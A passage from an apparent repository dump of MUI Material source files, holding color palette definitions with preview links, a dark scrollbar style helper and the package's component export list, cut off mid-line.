    "content": "/**\n * ![orange 50](https://mui.com/static/colors-preview/orange-50-24x24.png) ![orange 100](https://mui.com/static/colors-preview/orange-100-24x24.png) ![orange 200](https://mui.com/static/colors-preview/orange-200-24x24.png) ![orange 300](https://mui.com/static/colors-preview/orange-300-24x24.png) ![orange 400](https://mui.com/static/colors-preview/orange-400-24x24.png) ![orange 500](https://mui.com/static/colors-preview/orange-500-24x24.png) ![orange 600](https://mui.com/static/colors-preview/orange-600-24x24.png) ![orange 700](https://mui.com/static/colors-preview/orange-700-24x24.png) ![orange 800](https://mui.com/static/colors-preview/orange-800-24x24.png) ![orange 900](https://mui.com/static/colors-preview/orange-900-24x24.png) ![orange A100](https://mui.com/static/colors-preview/orange-A100-24x24.png) ![orange A200](https://mui.com/static/colors-preview/orange-A200-24x24.png) ![orange A400](https://mui.com/static/colors-preview/orange-A400-24x24.png) ![orange A700](https://mui.com/static/colors-preview/orange-A700-24x24.png)\n */\ndeclare const orange: {\n  /**\n   * Preview: ![orange 50](https://mui.com/static/colors-preview/orange-50-24x24.png)\n   */\n  50: '#fff3e0';\n  /**\n   * Preview: ![orange 100](https://mui.com/static/colors-preview/orange-100-24x24.png)\n   */\n  100: '#ffe0b2';\n  /**\n   * Preview: ![orange 200](https://mui.com/static/colors-preview/orange-200-24x24.png)\n   */\n  200: '#ffcc80';\n  /**\n   * Preview: ![orange 300](https://mui.com/static/colors-preview/orange-300-24x24.png)\n   */\n  300: '#ffb74d';\n  /**\n   * Preview: ![orange 400](https://mui.com/static/colors-preview/orange-400-24x24.png)\n   */\n  400: '#ffa726';\n  /**\n   * Preview: ![orange 500](https://mui.com/static/colors-preview/orange-500-24x24.png)\n   */\n  500: '#ff9800';\n  /**\n   * Preview: ![orange 600](https://mui.com/static/colors-preview/orange-600-24x24.png)\n   */\n  600: '#fb8c00';\n  /**\n   * Preview: ![orange 700](https://mui.com/static/colors-preview/orange-700-24x24.png)\n   */\n  700: '#f57c00';\n  /**\n   * Preview: ![orange 800](https://mui.com/static/colors-preview/orange-800-24x24.png)\n   */\n  800: '#ef6c00';\n  /**\n   * Preview: ![orange 900](https://mui.com/static/colors-preview/orange-900-24x24.png)\n   */\n  900: '#e65100';\n  /**\n   * Preview: ![orange A100](https://mui.com/static/colors-preview/orange-A100-24x24.png)\n   */\n  A100: '#ffd180';\n  /**\n   * Preview: ![orange A200](https://mui.com/static/colors-preview/orange-A200-24x24.png)\n   */\n  A200: '#ffab40';\n  /**\n   * Preview: ![orange A400](https://mui.com/static/colors-preview/orange-A400-24x24.png)\n   */\n  A400: '#ff9100';\n  /**\n   * Preview: ![orange A700](https://mui.com/static/colors-preview/orange-A700-24x24.png)\n   */\n  A700: '#ff6d00';\n};\n\nexport default orange;\n"
  },
  {
    "path": "packages/mui-material/src/colors/orange.js",
    "content": "const orange = {\n  50: '#fff3e0',\n  100: '#ffe0b2',\n  200: '#ffcc80',\n  300: '#ffb74d',\n  400: '#ffa726',\n  500: '#ff9800',\n  600: '#fb8c00',\n  700: '#f57c00',\n  800: '#ef6c00',\n  900: '#e65100',\n  A100: '#ffd180',\n  A200: '#ffab40',\n  A400: '#ff9100',\n  A700: '#ff6d00',\n};\n\nexport default orange;\n"
  },
  {
    "path": "packages/mui-material/src/colors/pink.d.ts",
    "content": "/**\n * ![pink 50](https://mui.com/static/colors-preview/pink-50-24x24.png) ![pink 100](https://mui.com/static/colors-preview/pink-100-24x24.png) ![pink 200](https://mui.com/static/colors-preview/pink-200-24x24.png) ![pink 300](https://mui.com/static/colors-preview/pink-300-24x24.png) ![pink 400](https://mui.com/static/colors-preview/pink-400-24x24.png) ![pink 500](https://mui.com/static/colors-preview/pink-500-24x24.png) ![pink 600](https://mui.com/static/colors-preview/pink-600-24x24.png) ![pink 700](https://mui.com/static/colors-preview/pink-700-24x24.png) ![pink 800](https://mui.com/static/colors-preview/pink-800-24x24.png) ![pink 900](https://mui.com/static/colors-preview/pink-900-24x24.png) ![pink A100](https://mui.com/static/colors-preview/pink-A100-24x24.png) ![pink A200](https://mui.com/static/colors-preview/pink-A200-24x24.png) ![pink A400](https://mui.com/static/colors-preview/pink-A400-24x24.png) ![pink A700](https://mui.com/static/colors-preview/pink-A700-24x24.png)\n */\ndeclare const pink: {\n  /**\n   * Preview: ![pink 50](https://mui.com/static/colors-preview/pink-50-24x24.png)\n   */\n  50: '#fce4ec';\n  /**\n   * Preview: ![pink 100](https://mui.com/static/colors-preview/pink-100-24x24.png)\n   */\n  100: '#f8bbd0';\n  /**\n   * Preview: ![pink 200](https://mui.com/static/colors-preview/pink-200-24x24.png)\n   */\n  200: '#f48fb1';\n  /**\n   * Preview: ![pink 300](https://mui.com/static/colors-preview/pink-300-24x24.png)\n   */\n  300: '#f06292';\n  /**\n   * Preview: ![pink 400](https://mui.com/static/colors-preview/pink-400-24x24.png)\n   */\n  400: '#ec407a';\n  /**\n   * Preview: ![pink 500](https://mui.com/static/colors-preview/pink-500-24x24.png)\n   */\n  500: '#e91e63';\n  /**\n   * Preview: ![pink 600](https://mui.com/static/colors-preview/pink-600-24x24.png)\n   */\n  600: '#d81b60';\n  /**\n   * Preview: ![pink 700](https://mui.com/static/colors-preview/pink-700-24x24.png)\n   */\n  700: '#c2185b';\n  /**\n   * Preview: ![pink 800](https://mui.com/static/colors-preview/pink-800-24x24.png)\n   */\n  800: '#ad1457';\n  /**\n   * Preview: ![pink 900](https://mui.com/static/colors-preview/pink-900-24x24.png)\n   */\n  900: '#880e4f';\n  /**\n   * Preview: ![pink A100](https://mui.com/static/colors-preview/pink-A100-24x24.png)\n   */\n  A100: '#ff80ab';\n  /**\n   * Preview: ![pink A200](https://mui.com/static/colors-preview/pink-A200-24x24.png)\n   */\n  A200: '#ff4081';\n  /**\n   * Preview: ![pink A400](https://mui.com/static/colors-preview/pink-A400-24x24.png)\n   */\n  A400: '#f50057';\n  /**\n   * Preview: ![pink A700](https://mui.com/static/colors-preview/pink-A700-24x24.png)\n   */\n  A700: '#c51162';\n};\n\nexport default pink;\n"
  },
  {
    "path": "packages/mui-material/src/colors/pink.js",
    "content": "const pink = {\n  50: '#fce4ec',\n  100: '#f8bbd0',\n  200: '#f48fb1',\n  300: '#f06292',\n  400: '#ec407a',\n  500: '#e91e63',\n  600: '#d81b60',\n  700: '#c2185b',\n  800: '#ad1457',\n  900: '#880e4f',\n  A100: '#ff80ab',\n  A200: '#ff4081',\n  A400: '#f50057',\n  A700: '#c51162',\n};\n\nexport default pink;\n"
  },
  {
    "path": "packages/mui-material/src/colors/purple.d.ts",
    "content": "/**\n * ![purple 50](https://mui.com/static/colors-preview/purple-50-24x24.png) ![purple 100](https://mui.com/static/colors-preview/purple-100-24x24.png) ![purple 200](https://mui.com/static/colors-preview/purple-200-24x24.png) ![purple 300](https://mui.com/static/colors-preview/purple-300-24x24.png) ![purple 400](https://mui.com/static/colors-preview/purple-400-24x24.png) ![purple 500](https://mui.com/static/colors-preview/purple-500-24x24.png) ![purple 600](https://mui.com/static/colors-preview/purple-600-24x24.png) ![purple 700](https://mui.com/static/colors-preview/purple-700-24x24.png) ![purple 800](https://mui.com/static/colors-preview/purple-800-24x24.png) ![purple 900](https://mui.com/static/colors-preview/purple-900-24x24.png) ![purple A100](https://mui.com/static/colors-preview/purple-A100-24x24.png) ![purple A200](https://mui.com/static/colors-preview/purple-A200-24x24.png) ![purple A400](https://mui.com/static/colors-preview/purple-A400-24x24.png) ![purple A700](https://mui.com/static/colors-preview/purple-A700-24x24.png)\n */\ndeclare const purple: {\n  /**\n   * Preview: ![purple 50](https://mui.com/static/colors-preview/purple-50-24x24.png)\n   */\n  50: '#f3e5f5';\n  /**\n   * Preview: ![purple 100](https://mui.com/static/colors-preview/purple-100-24x24.png)\n   */\n  100: '#e1bee7';\n  /**\n   * Preview: ![purple 200](https://mui.com/static/colors-preview/purple-200-24x24.png)\n   */\n  200: '#ce93d8';\n  /**\n   * Preview: ![purple 300](https://mui.com/static/colors-preview/purple-300-24x24.png)\n   */\n  300: '#ba68c8';\n  /**\n   * Preview: ![purple 400](https://mui.com/static/colors-preview/purple-400-24x24.png)\n   */\n  400: '#ab47bc';\n  /**\n   * Preview: ![purple 500](https://mui.com/static/colors-preview/purple-500-24x24.png)\n   */\n  500: '#9c27b0';\n  /**\n   * Preview: ![purple 600](https://mui.com/static/colors-preview/purple-600-24x24.png)\n   */\n  600: '#8e24aa';\n  /**\n   * Preview: ![purple 700](https://mui.com/static/colors-preview/purple-700-24x24.png)\n   */\n  700: '#7b1fa2';\n  /**\n   * Preview: ![purple 800](https://mui.com/static/colors-preview/purple-800-24x24.png)\n   */\n  800: '#6a1b9a';\n  /**\n   * Preview: ![purple 900](https://mui.com/static/colors-preview/purple-900-24x24.png)\n   */\n  900: '#4a148c';\n  /**\n   * Preview: ![purple A100](https://mui.com/static/colors-preview/purple-A100-24x24.png)\n   */\n  A100: '#ea80fc';\n  /**\n   * Preview: ![purple A200](https://mui.com/static/colors-preview/purple-A200-24x24.png)\n   */\n  A200: '#e040fb';\n  /**\n   * Preview: ![purple A400](https://mui.com/static/colors-preview/purple-A400-24x24.png)\n   */\n  A400: '#d500f9';\n  /**\n   * Preview: ![purple A700](https://mui.com/static/colors-preview/purple-A700-24x24.png)\n   */\n  A700: '#aa00ff';\n};\n\nexport default purple;\n"
  },
  {
    "path": "packages/mui-material/src/colors/purple.js",
    "content": "const purple = {\n  50: '#f3e5f5',\n  100: '#e1bee7',\n  200: '#ce93d8',\n  300: '#ba68c8',\n  400: '#ab47bc',\n  500: '#9c27b0',\n  600: '#8e24aa',\n  700: '#7b1fa2',\n  800: '#6a1b9a',\n  900: '#4a148c',\n  A100: '#ea80fc',\n  A200: '#e040fb',\n  A400: '#d500f9',\n  A700: '#aa00ff',\n};\n\nexport default purple;\n"
  },
  {
    "path": "packages/mui-material/src/colors/red.d.ts",
    "content": "/**\n * ![red 50](https://mui.com/static/colors-preview/red-50-24x24.png) ![red 100](https://mui.com/static/colors-preview/red-100-24x24.png) ![red 200](https://mui.com/static/colors-preview/red-200-24x24.png) ![red 300](https://mui.com/static/colors-preview/red-300-24x24.png) ![red 400](https://mui.com/static/colors-preview/red-400-24x24.png) ![red 500](https://mui.com/static/colors-preview/red-500-24x24.png) ![red 600](https://mui.com/static/colors-preview/red-600-24x24.png) ![red 700](https://mui.com/static/colors-preview/red-700-24x24.png) ![red 800](https://mui.com/static/colors-preview/red-800-24x24.png) ![red 900](https://mui.com/static/colors-preview/red-900-24x24.png) ![red A100](https://mui.com/static/colors-preview/red-A100-24x24.png) ![red A200](https://mui.com/static/colors-preview/red-A200-24x24.png) ![red A400](https://mui.com/static/colors-preview/red-A400-24x24.png) ![red A700](https://mui.com/static/colors-preview/red-A700-24x24.png)\n */\ndeclare const red: {\n  /**\n   * Preview: ![red 50](https://mui.com/static/colors-preview/red-50-24x24.png)\n   */\n  50: '#ffebee';\n  /**\n   * Preview: ![red 100](https://mui.com/static/colors-preview/red-100-24x24.png)\n   */\n  100: '#ffcdd2';\n  /**\n   * Preview: ![red 200](https://mui.com/static/colors-preview/red-200-24x24.png)\n   */\n  200: '#ef9a9a';\n  /**\n   * Preview: ![red 300](https://mui.com/static/colors-preview/red-300-24x24.png)\n   */\n  300: '#e57373';\n  /**\n   * Preview: ![red 400](https://mui.com/static/colors-preview/red-400-24x24.png)\n   */\n  400: '#ef5350';\n  /**\n   * Preview: ![red 500](https://mui.com/static/colors-preview/red-500-24x24.png)\n   */\n  500: '#f44336';\n  /**\n   * Preview: ![red 600](https://mui.com/static/colors-preview/red-600-24x24.png)\n   */\n  600: '#e53935';\n  /**\n   * Preview: ![red 700](https://mui.com/static/colors-preview/red-700-24x24.png)\n   */\n  700: '#d32f2f';\n  /**\n   * Preview: ![red 800](https://mui.com/static/colors-preview/red-800-24x24.png)\n   */\n  800: '#c62828';\n  /**\n   * Preview: ![red 900](https://mui.com/static/colors-preview/red-900-24x24.png)\n   */\n  900: '#b71c1c';\n  /**\n   * Preview: ![red A100](https://mui.com/static/colors-preview/red-A100-24x24.png)\n   */\n  A100: '#ff8a80';\n  /**\n   * Preview: ![red A200](https://mui.com/static/colors-preview/red-A200-24x24.png)\n   */\n  A200: '#ff5252';\n  /**\n   * Preview: ![red A400](https://mui.com/static/colors-preview/red-A400-24x24.png)\n   */\n  A400: '#ff1744';\n  /**\n   * Preview: ![red A700](https://mui.com/static/colors-preview/red-A700-24x24.png)\n   */\n  A700: '#d50000';\n};\n\nexport default red;\n"
  },
  {
    "path": "packages/mui-material/src/colors/red.js",
    "content": "const red = {\n  50: '#ffebee',\n  100: '#ffcdd2',\n  200: '#ef9a9a',\n  300: '#e57373',\n  400: '#ef5350',\n  500: '#f44336',\n  600: '#e53935',\n  700: '#d32f2f',\n  800: '#c62828',\n  900: '#b71c1c',\n  A100: '#ff8a80',\n  A200: '#ff5252',\n  A400: '#ff1744',\n  A700: '#d50000',\n};\n\nexport default red;\n"
  },
  {
    "path": "packages/mui-material/src/colors/teal.d.ts",
    "content": "/**\n * ![teal 50](https://mui.com/static/colors-preview/teal-50-24x24.png) ![teal 100](https://mui.com/static/colors-preview/teal-100-24x24.png) ![teal 200](https://mui.com/static/colors-preview/teal-200-24x24.png) ![teal 300](https://mui.com/static/colors-preview/teal-300-24x24.png) ![teal 400](https://mui.com/static/colors-preview/teal-400-24x24.png) ![teal 500](https://mui.com/static/colors-preview/teal-500-24x24.png) ![teal 600](https://mui.com/static/colors-preview/teal-600-24x24.png) ![teal 700](https://mui.com/static/colors-preview/teal-700-24x24.png) ![teal 800](https://mui.com/static/colors-preview/teal-800-24x24.png) ![teal 900](https://mui.com/static/colors-preview/teal-900-24x24.png) ![teal A100](https://mui.com/static/colors-preview/teal-A100-24x24.png) ![teal A200](https://mui.com/static/colors-preview/teal-A200-24x24.png) ![teal A400](https://mui.com/static/colors-preview/teal-A400-24x24.png) ![teal A700](https://mui.com/static/colors-preview/teal-A700-24x24.png)\n */\ndeclare const teal: {\n  /**\n   * Preview: ![teal 50](https://mui.com/static/colors-preview/teal-50-24x24.png)\n   */\n  50: '#e0f2f1';\n  /**\n   * Preview: ![teal 100](https://mui.com/static/colors-preview/teal-100-24x24.png)\n   */\n  100: '#b2dfdb';\n  /**\n   * Preview: ![teal 200](https://mui.com/static/colors-preview/teal-200-24x24.png)\n   */\n  200: '#80cbc4';\n  /**\n   * Preview: ![teal 300](https://mui.com/static/colors-preview/teal-300-24x24.png)\n   */\n  300: '#4db6ac';\n  /**\n   * Preview: ![teal 400](https://mui.com/static/colors-preview/teal-400-24x24.png)\n   */\n  400: '#26a69a';\n  /**\n   * Preview: ![teal 500](https://mui.com/static/colors-preview/teal-500-24x24.png)\n   */\n  500: '#009688';\n  /**\n   * Preview: ![teal 600](https://mui.com/static/colors-preview/teal-600-24x24.png)\n   */\n  600: '#00897b';\n  /**\n   * Preview: ![teal 700](https://mui.com/static/colors-preview/teal-700-24x24.png)\n   */\n  700: '#00796b';\n  /**\n   * Preview: ![teal 800](https://mui.com/static/colors-preview/teal-800-24x24.png)\n   */\n  800: '#00695c';\n  /**\n   * Preview: ![teal 900](https://mui.com/static/colors-preview/teal-900-24x24.png)\n   */\n  900: '#004d40';\n  /**\n   * Preview: ![teal A100](https://mui.com/static/colors-preview/teal-A100-24x24.png)\n   */\n  A100: '#a7ffeb';\n  /**\n   * Preview: ![teal A200](https://mui.com/static/colors-preview/teal-A200-24x24.png)\n   */\n  A200: '#64ffda';\n  /**\n   * Preview: ![teal A400](https://mui.com/static/colors-preview/teal-A400-24x24.png)\n   */\n  A400: '#1de9b6';\n  /**\n   * Preview: ![teal A700](https://mui.com/static/colors-preview/teal-A700-24x24.png)\n   */\n  A700: '#00bfa5';\n};\n\nexport default teal;\n"
  },
  {
    "path": "packages/mui-material/src/colors/teal.js",
    "content": "const teal = {\n  50: '#e0f2f1',\n  100: '#b2dfdb',\n  200: '#80cbc4',\n  300: '#4db6ac',\n  400: '#26a69a',\n  500: '#009688',\n  600: '#00897b',\n  700: '#00796b',\n  800: '#00695c',\n  900: '#004d40',\n  A100: '#a7ffeb',\n  A200: '#64ffda',\n  A400: '#1de9b6',\n  A700: '#00bfa5',\n};\n\nexport default teal;\n"
  },
  {
    "path": "packages/mui-material/src/colors/yellow.d.ts",
    "content": "/**\n * ![yellow 50](https://mui.com/static/colors-preview/yellow-50-24x24.png) ![yellow 100](https://mui.com/static/colors-preview/yellow-100-24x24.png) ![yellow 200](https://mui.com/static/colors-preview/yellow-200-24x24.png) ![yellow 300](https://mui.com/static/colors-preview/yellow-300-24x24.png) ![yellow 400](https://mui.com/static/colors-preview/yellow-400-24x24.png) ![yellow 500](https://mui.com/static/colors-preview/yellow-500-24x24.png) ![yellow 600](https://mui.com/static/colors-preview/yellow-600-24x24.png) ![yellow 700](https://mui.com/static/colors-preview/yellow-700-24x24.png) ![yellow 800](https://mui.com/static/colors-preview/yellow-800-24x24.png) ![yellow 900](https://mui.com/static/colors-preview/yellow-900-24x24.png) ![yellow A100](https://mui.com/static/colors-preview/yellow-A100-24x24.png) ![yellow A200](https://mui.com/static/colors-preview/yellow-A200-24x24.png) ![yellow A400](https://mui.com/static/colors-preview/yellow-A400-24x24.png) ![yellow A700](https://mui.com/static/colors-preview/yellow-A700-24x24.png)\n */\ndeclare const yellow: {\n  /**\n   * Preview: ![yellow 50](https://mui.com/static/colors-preview/yellow-50-24x24.png)\n   */\n  50: '#fffde7';\n  /**\n   * Preview: ![yellow 100](https://mui.com/static/colors-preview/yellow-100-24x24.png)\n   */\n  100: '#fff9c4';\n  /**\n   * Preview: ![yellow 200](https://mui.com/static/colors-preview/yellow-200-24x24.png)\n   */\n  200: '#fff59d';\n  /**\n   * Preview: ![yellow 300](https://mui.com/static/colors-preview/yellow-300-24x24.png)\n   */\n  300: '#fff176';\n  /**\n   * Preview: ![yellow 400](https://mui.com/static/colors-preview/yellow-400-24x24.png)\n   */\n  400: '#ffee58';\n  /**\n   * Preview: ![yellow 500](https://mui.com/static/colors-preview/yellow-500-24x24.png)\n   */\n  500: '#ffeb3b';\n  /**\n   * Preview: ![yellow 600](https://mui.com/static/colors-preview/yellow-600-24x24.png)\n   */\n  600: '#fdd835';\n  /**\n   * Preview: ![yellow 700](https://mui.com/static/colors-preview/yellow-700-24x24.png)\n   */\n  700: '#fbc02d';\n  /**\n   * Preview: ![yellow 800](https://mui.com/static/colors-preview/yellow-800-24x24.png)\n   */\n  800: '#f9a825';\n  /**\n   * Preview: ![yellow 900](https://mui.com/static/colors-preview/yellow-900-24x24.png)\n   */\n  900: '#f57f17';\n  /**\n   * Preview: ![yellow A100](https://mui.com/static/colors-preview/yellow-A100-24x24.png)\n   */\n  A100: '#ffff8d';\n  /**\n   * Preview: ![yellow A200](https://mui.com/static/colors-preview/yellow-A200-24x24.png)\n   */\n  A200: '#ffff00';\n  /**\n   * Preview: ![yellow A400](https://mui.com/static/colors-preview/yellow-A400-24x24.png)\n   */\n  A400: '#ffea00';\n  /**\n   * Preview: ![yellow A700](https://mui.com/static/colors-preview/yellow-A700-24x24.png)\n   */\n  A700: '#ffd600';\n};\n\nexport default yellow;\n"
  },
  {
    "path": "packages/mui-material/src/colors/yellow.js",
    "content": "const yellow = {\n  50: '#fffde7',\n  100: '#fff9c4',\n  200: '#fff59d',\n  300: '#fff176',\n  400: '#ffee58',\n  500: '#ffeb3b',\n  600: '#fdd835',\n  700: '#fbc02d',\n  800: '#f9a825',\n  900: '#f57f17',\n  A100: '#ffff8d',\n  A200: '#ffff00',\n  A400: '#ffea00',\n  A700: '#ffd600',\n};\n\nexport default yellow;\n"
  },
  {
    "path": "packages/mui-material/src/darkScrollbar/index.ts",
    "content": "// track, thumb and active are derived from macOS 10.15.7\nconst scrollBar = {\n  track: '#2b2b2b',\n  thumb: '#6b6b6b',\n  active: '#959595',\n};\n\nexport default function darkScrollbar(options = scrollBar) {\n  return {\n    scrollbarColor: `${options.thumb} ${options.track}`,\n    '&::-webkit-scrollbar, & *::-webkit-scrollbar': {\n      backgroundColor: options.track,\n    },\n    '&::-webkit-scrollbar-thumb, & *::-webkit-scrollbar-thumb': {\n      borderRadius: 8,\n      backgroundColor: options.thumb,\n      minHeight: 24,\n      border: `3px solid ${options.track}`,\n    },\n    '&::-webkit-scrollbar-thumb:focus, & *::-webkit-scrollbar-thumb:focus': {\n      backgroundColor: options.active,\n    },\n    '&::-webkit-scrollbar-thumb:active, & *::-webkit-scrollbar-thumb:active': {\n      backgroundColor: options.active,\n    },\n    '&::-webkit-scrollbar-thumb:hover, & *::-webkit-scrollbar-thumb:hover': {\n      backgroundColor: options.active,\n    },\n    '&::-webkit-scrollbar-corner, & *::-webkit-scrollbar-corner': {\n      backgroundColor: options.track,\n    },\n  };\n}\n"
  },
  {
    "path": "packages/mui-material/src/generateUtilityClass/index.ts",
    "content": "export { default } from '@mui/utils/generateUtilityClass';\nexport type { GlobalStateSlot } from '@mui/utils/generateUtilityClass';\n"
  },
  {
    "path": "packages/mui-material/src/generateUtilityClasses/index.ts",
    "content": "export { default } from '@mui/utils/generateUtilityClasses';\n"
  },
  {
    "path": "packages/mui-material/src/index.d.ts",
    "content": "// From index.js\n\nimport * as colors from './colors';\n\nexport { colors };\nexport * from './styles';\n\nexport * from './utils';\n\nexport { default as Accordion } from './Accordion';\nexport * from './Accordion';\n\nexport { default as AccordionActions } from './AccordionActions';\nexport * from './AccordionActions';\n\nexport { default as AccordionDetails } from './AccordionDetails';\nexport * from './AccordionDetails';\n\nexport { default as AccordionSummary } from './AccordionSummary';\nexport * from './AccordionSummary';\n\nexport { default as Alert } from './Alert';\nexport * from './Alert';\n\nexport { default as AlertTitle } from './AlertTitle';\nexport * from './AlertTitle';\n\nexport { default as AppBar } from './AppBar';\nexport * from './AppBar';\n\nexport { default as Autocomplete } from './Autocomplete';\nexport * from './Autocomplete';\n\nexport { default as Avatar } from './Avatar';\nexport * from './Avatar';\n\nexport { default as AvatarGroup } from './AvatarGroup';\nexport * from './AvatarGroup';\n\nexport { default as Backdrop } from './Backdrop';\nexport * from './Backdrop';\n\nexport { default as Badge } from './Badge';\nexport * from './Badge';\n\nexport { default as BottomNavigation } from './BottomNavigation';\nexport * from './BottomNavigation';\n\nexport { default as BottomNavigationAction } from './BottomNavigationAction';\nexport * from './BottomNavigationAction';\n\nexport { default as Box } from './Box';\nexport * from './Box';\n\nexport { default as Breadcrumbs } from './Breadcrumbs';\nexport * from './Breadcrumbs';\n\nexport { default as Button } from './Button';\nexport * from './Button';\n\nexport { default as ButtonBase } from './ButtonBase';\nexport * from './ButtonBase';\n\nexport { default as ButtonGroup } from './ButtonGroup';\nexport * from './ButtonGroup';\n\nexport { default as Card } from './Card';\nexport * from './Card';\n\nexport { default as CardActionArea } from './CardActionArea';\nexport * from './CardActionArea';\n\nexport { default as CardActions } from './CardActions';\nexport * from './CardActions';\n\nexport { default as CardContent } from './CardContent';\nexport * from './CardContent';\n\nexport { default as CardHeader } from './CardHeader';\nexport * from './CardHeader';\n\nexport { default as CardMedia } from './CardMedia';\nexport * from './CardMedia';\n\nexport { default as Checkbox } from './Checkbox';\nexport * from './Checkbox';\n\nexport { default as Chip } from './Chip';\nexport * from './Chip';\n\nexport { default as CircularProgress } from './CircularProgress';\nexport * from './CircularProgress';\n\nexport { default as ClickAwayListener } from './ClickAwayListener';\nexport * from './ClickAwayListener';\n\nexport { default as Collapse } from './Collapse';\nexport * from './Collapse';\n\nexport { default as Container } from './Container';\nexport * from './Container';\n\nexport { default as CssBaseline } from './CssBaseline';\nexport * from './CssBaseline';\n\n/**\n * @deprecated use color-scheme in CssBaseline or ScopedCssBaseline to modify scrollbar color\n */\nexport { default as darkScrollbar } from './darkScrollbar';\nexport * from './darkScrollbar';\n\nexport { default as Dialog } from './Dialog';\nexport * from './Dialog';\n\nexport { default as DialogActions } from './DialogActions';\nexport * from './DialogActions';\n\nexport { default as DialogContent } from './DialogContent';\nexport * from './DialogContent';\n\nexport { default as DialogContentText } from './DialogContentText';\nexport * from './DialogContentText';\n\nexport { default as DialogTitle } from './DialogTitle';\nexport * from './DialogTitle';\n\nexport { default as Divider } from './Divider';\nexport * from './Divider';\n\nexport { default as Drawer } from './Drawer';\nexport * from './Drawer';\n\nexport { default as Fab } from './Fab';\nexport * from './Fab';\n\nexport { default as Fade } from './Fade';\nexport * from './Fade';\n\nexport { default as FilledInput } from './FilledInput';\nexport * from './FilledInput';\n\nexport { default as FormControl } from './FormControl';\nexport * from './FormControl';\n\nexport { default as FormControlLabel } from './FormControlLabel';\nexport * from './FormControlLabel';\n\nexport { default as FormGroup } from './FormGroup';\nexport * from './FormGroup';\n\nexport { default as FormHelperText } from './FormHelperText';\nexport * from './FormHelperText';\n\nexport { default as FormLabel } from './FormLabel';\nexport * from './FormLabel';\n\nexport { default as Grid } from './Grid';\nexport * from './Grid';\n\nexport { default as Grow } from './Grow';\nexport * from './Grow';\n\nexport { default as Icon } from './Icon';\nexport * from './Icon';\n\nexport { default as IconButton } from './IconButton';\nexport * from './IconButton';\n\nexport { default as ImageList } from './ImageList';\nexport * from './ImageList';\n\nexport { default as ImageListItem } from './ImageListItem';\nexport * from './ImageListItem';\n\nexport { default as ImageListItemBar } from './ImageListItemBar';\nexport * from './ImageListItemBar';\n\nexport { default as Input } from './Input';\nexport * from './Input';\n\nexport { default as InputAdornment } from './InputAdornment';\nexport * from './InputAdornment';\n\nexport { default as InputBase } from './InputBase';\nexport * from './InputBase';\n\nexport { default as InputLabel } from './InputLabel';\nexport * from './InputLabel';\n\nexport { default as LinearProgress } from './LinearProgress';\nexport * from './LinearProgress';\n\nexport { default as Link } from './Link';\nexport * from './Link';\n\nexport { default as List } from './List';\nexport * from './List';\n\nexport { default as ListItem } from './ListItem';\nexport * from './ListItem';\n\nexport { default as ListItemAvatar } from './ListItemAvatar';\nexport * from './ListItemAvatar';\n\nexport { default as ListItemButton } from './ListItemButton';\nexport * from './ListItemButton';\n\nexport { default as ListItemIcon } from './ListItemIcon';\nexport * from './ListItemIcon';\n\nexport { default as ListItemSecondaryAction } from './ListItemSecondaryAction';\nexport * from './ListItemSecondaryAction';\n\nexport { default as ListItemText } from './ListItemText';\nexport * from './ListItemText';\n\nexport { default as ListSubheader } from './ListSubheader';\nexport * from './ListSubheader';\n\nexport { default as Menu } from './Menu';\nexport * from './Menu';\n\nexport { default as MenuItem } from './MenuItem';\nexport * from './MenuItem';\n\nexport { default as MenuList } from './MenuList';\nexport * from './MenuList';\n\nexport { default as MobileStepper } from './MobileStepper';\nexport * from './MobileStepper';\n\nexport { default as Modal } from './Modal';\nexport * from './Modal';\n\nexport { default as NativeSelect } from './NativeSelect';\nexport * from './NativeSelect';\n\nexport { default as NoSsr } from './NoSsr';\nexport * from './NoSsr';\n\nexport { default as OutlinedInput } from './OutlinedInput';\nexport * from './OutlinedInput';\n\nexport { default as Pagination } from './Pagination';\nexport * from './Pagination';\n\nexport { default as PaginationItem } from './PaginationItem';\nexport * from './PaginationItem';\n\nexport { default as Paper } from './Paper';\nexport * from './Paper';\n\nexport { default as Popover } from './Popover';\nexport * from './Popover';\n\nexport { default as Popper } from './Popper';\nexport * from './Popper';\n\nexport { default as Portal } from './Portal';\nexport * from './Portal';\n\nexport { default as Radio } from './Radio';\nexport * from './Radio';\n\nexport { default as RadioGroup } from './RadioGroup';\nexport * from './RadioGroup';\n\nexport { default as Rating } from './Rating';\nexport * from './Rating';\n\nexport { default as ScopedCssBaseline } from './ScopedCssBaseline';\nexport * from './ScopedCssBaseline';\n\nexport { default as Select } from './Select';\nexport * from './Select';\n\nexport { default as Skeleton } from './Skeleton';\nexport * from './Skeleton';\n\nexport { default as Slide } from './Slide';\nexport * from './Slide';\n\nexport { default as Slider } from './Slider';\nexport * from './Slider';\n\nexport { default as Snackbar } from './Snackbar';\nexport * from './Snackbar';\n\nexport { default as SnackbarContent } from './SnackbarContent';\nexport * from './SnackbarContent';\n\nexport { default as SpeedDial } from './SpeedDial';\nexport * from './SpeedDial';\n\nexport { default as SpeedDialAction } from './SpeedDialAction';\nexport * from './SpeedDialAction';\n\nexport { default as SpeedDialIcon } from './SpeedDialIcon';\nexport * from './SpeedDialIcon';\n\nexport { default as Stack } from './Stack';\nexport * from './Stack';\n\nexport { default as Step } from './Step';\nexport * from './Step';\n\nexport { default as StepButton } from './StepButton';\nexport * from './StepButton';\n\nexport { default as StepConnector } from './StepConnector';\nexport * from './StepConnector';\n\nexport { default as StepContent } from './StepContent';\nexport * from './StepContent';\n\nexport { default as StepIcon } from './StepIcon';\nexport * from './StepIcon';\n\nexport { default as StepLabel } from './StepLabel';\nexport * from './StepLabel';\n\nexport { default as Stepper } from './Stepper';\nexport * from './Stepper';\n\nexport { default as SvgIcon } from './SvgIcon';\nexport * from './SvgIcon';\n\nexport { default as SwipeableDrawer } from './SwipeableDrawer';\nexport * from './SwipeableDrawer';\n\nexport { default as Switch } from './Switch';\nexport * from './Switch';\n\nexport { default as Tab } from './Tab';\nexport * from './Tab';\n\nexport { default as Table } from './Table';\nexport * from './Table';\n\nexport { default as TableBody } from './TableBody';\nexport * from './TableBody';\n\nexport { default as TableCell } from './TableCell';\nexport * from './TableCell';\n\nexport { default as TableContainer } from './TableContainer';\nexport * from './TableContainer';\n\nexport { default as TableFooter } from './TableFooter';\nexport * from './TableFooter';\n\nexport { default as TableHead } from './TableHead';\nexport * from './TableHead';\n\nexport { default as TablePagination } from './TablePagination';\nexport * from './TablePagination';\n\nexport { default as TablePaginationActions } from './TablePaginationActions';\nexport * from './TablePaginationActions';\n\nexport { default as TableRow } from './TableRow';\nexport * from './TableRow';\n\nexport { default as TableSortLabel } from './TableSortLabel';\nexport * from 